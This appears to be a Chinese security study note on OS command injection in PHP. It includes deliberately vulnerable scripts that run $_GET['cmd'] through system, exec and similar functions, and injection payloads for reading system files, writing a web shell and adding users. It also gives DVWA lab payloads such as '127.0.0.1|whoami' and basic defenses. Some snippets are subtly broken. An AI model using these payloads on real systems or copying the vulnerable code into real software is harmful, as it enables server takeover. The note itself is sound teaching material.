网络安全笔记-OS命令注入漏洞
OS命令注入漏洞
原理以及成因:
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
1、用户输入作为拼接
2、没有足够的过滤
漏洞危害
1、继承Web服务器程序权限(Web用户权限),去执行系统命令
2、继承Web服务器权限,读写文件
3、反弹Shell(服务器主动连接攻击方)获得目标服务器的权限
4、进一步内网渗透,控制整个网站
5、控制整个服务器
相关函数示例
- system()
system()能够将字符串作为OS命令执行,自带输出功能。
测试代码如下:
#system.php
<meta charset='gb2312'>
#1
<?php
$str="ipconfig";
system($str);
?>
#2
<?php
if($_GET['cmd']){$str=$_GET['cmd'];system($str);
}
?>
#
<?php
if(isset($_GET['cmd'])){echo "<pre>";system($_GET['cmd']);
}
else{echo"?cmd=ipconfig";
}
?>
- exec()
exec()能够将字符串作为OS命令执行,需要输出执行结果。
测试代码如下:
#exec.php
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){echo "<pre>";print exec($str);
}else{echo"?cmd=whoami";
}
?>
- shell_exec()
测试代码如下:
#shell_exec.php
<?php
if(isset($_GET['cmd'])){print shell_exec($_GET['cmd']);
}else{echo"?cmd=whoami"; # cmd=systeminfo / net user add
}
?>
- passthru(). 自带输出
测试代码如下:
#passthru.php
<?php
if(isset($_GET['cmd'])){passthru($_GET['cmd']);
}else{echo"?cmd=whoami"; # cmd=systeminfo / net user add
}
?>
- popen().执行OS命令,并非返回命令结果,而是返回一个文件指针。
测试代码如下:
#popen.php
<?php
if(isset($_GET['cmd'])){$cmd=$_GET['cmd'].">>1.txt";popen($cmd,'r');
}else{echo"?cmd=whoami"; # cmd=systeminfo / net user add
}
?>
查看1.txt文件
- 反引号`(Mac英文输入下,option+1左边的键盘)
反引号``内的字符串,也会被解析成OS命令。
测试代码如下:
#`.php
<?php
if(isset($_GET['cmd'])){$cmd=$_GET['cmd'];print `$cmd`;
}else{echo"?cmd=whoami"; # cmd=systeminfo / net user add
}
?>
漏洞利用
OS命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows系统下测试成功。
- 查看系统文件
提交参数
[?cmd=type c:\windows\system32\drivers\etc\hosts]
查看系统hosts文件。 - 显示当前路径
提交参数[?cmd=cd]
- 写文件
提交参数
[?cmd=echo"?php phpinfo();?>" > D:\xampp\htdocs\Commandi\shell.php]
页面没有报错,说明文件写入成功。访问shell.php文件。
防御方法
- 尽量减少命令执行函数的使用,并在disable_functions中禁用
- 在进入命令执行的函数或方法之前,对参数进行过滤
- 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
练习
安全是需要全方面考虑的问题
DVWA 命令注入(代码审计)
low
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.0.1||whoami
medium
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
high
127.0.0.1|whoami
参考链接
OS命令注入
网络安全笔记-OS命令注入漏洞相关推荐
- 【CyberSecurityLearning 59】OS命令注入
目录 OS命令注入 原理以及成因 漏洞危害 相关函数 1.system() 2. exec() 3.shell_exec() 应用最广泛 4.passthru() 5.popen() 6.反引号 漏 ...
- Ubiquiti几十款无线产品爆出命令注入漏洞 是因为没有升级老版本的PHP 据说厂商还未给出补丁...
Ubiquiti Networks公司提供的几十款产品中存在紧急漏洞,该漏洞可用于劫持设备.这个漏洞已于11月上报给了该厂商,但目前厂商尚未发布补丁修复大多数受影响的设备. 命令注入漏洞来自于没有升级 ...
- DVWA之命令注入漏洞(Command injection)
目录 LOW medium high Impossible 命令执行漏洞的原理:在操作系统中,"&.|.||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务 ...
- 最新系统漏洞--QSAN SANOS命令注入漏洞
最新系统漏洞2021年10月21日 受影响系统: QSAN SANOS <= 2.0.0 (build 202012222000) 描述: CVE(CAN) ID: CVE-2021-32533 ...
- Foxit Reader(福昕阅读器)(CVE-2020-14425)命令注入漏洞复现
0x00简介 Foxit Reader,是一套用来阅读PDF格式文件的软件,由福建福昕软件所研发:2009年9月3日推出3.1.1 Build 0901最新版本.Foxit Reader是一套自由使用 ...
- 导致命令注入漏洞的php函数,PHP安全-函数
函数 在我写作本书的时候,http://www.gxlcms.com/列出了共3917个函数,其中包括一些类似函数的语法结构,在此我不准备把它们从函数中区分开来,而是把它作为函数看待. 由于函数数量很 ...
- linux命令注入,Linux kernel本地命令注入漏洞
Linux kernel本地命令注入漏洞 2005-10-19 eNet&Ciweek Linux kernel 2.2.6 Linux kernel 2.2.5 Linux kernel 2 ...
- openssh漏洞_漏洞预警 | OpenSSH 命令注入漏洞
0x00 漏洞编号 CVE-2020-15778 0x01 危险等级 高危 0x02 漏洞概述 OpenSSH 8.3 p1及之前版本中的scp的scp.c文件存在命令注入漏洞.该漏洞源于外部输入数 ...
- 【安全漏洞】Cisco命令注入漏洞CVE-2021-1414分析
概述 最近关注了Cisco的一个命令注入漏洞CVE-2021-1414,命令注入之后可导致远程代码执行: 漏洞存在于固件版本低于V1.0.03.21的RV340系列路由器中,当前最新版本V1.0.03 ...
最新文章
- 2030全球新出行产业报告:2.2万亿美元蛋糕将这样分
- 总结一下php5.2.16与apache2.0的C++扩展开发整个过程
- python中的多线程-共享全局变量
- VirtualBox中虚拟Ubuntu添加新的虚拟硬盘
- 平均聚类系数_Python聚类算法的应用实例
- PGM:贝叶斯网的参数估计
- php数组教程,PHP 数组入门教程小结
- 采集侠-免费采集侠-免费采集侠插件
- 基于SiC集成技术的生物电信号采集方案
- 华为服务器linux光驱名称,华为服务器通过mgmt口挂载光盘装系统及Linux系统rescue模式下修复内核...
- python实现图像像素修改脚本
- 一键智能抠图-原理实现
- 山东田野稻花香 国稻种芯·中国水稻节:威海荣成引种的旱稻
- termux安装numpy,matplotlib,pandas
- 什么是数据挖掘?数据挖掘的目标是什么?
- JavaScript note
- 大数据:让马云化身商界福尔摩斯
- [Elasticsearch]cat API的使用
- 6、惠崇春江晚景-苏轼
- 破解这「七宗罪」,你才能晋升高级运营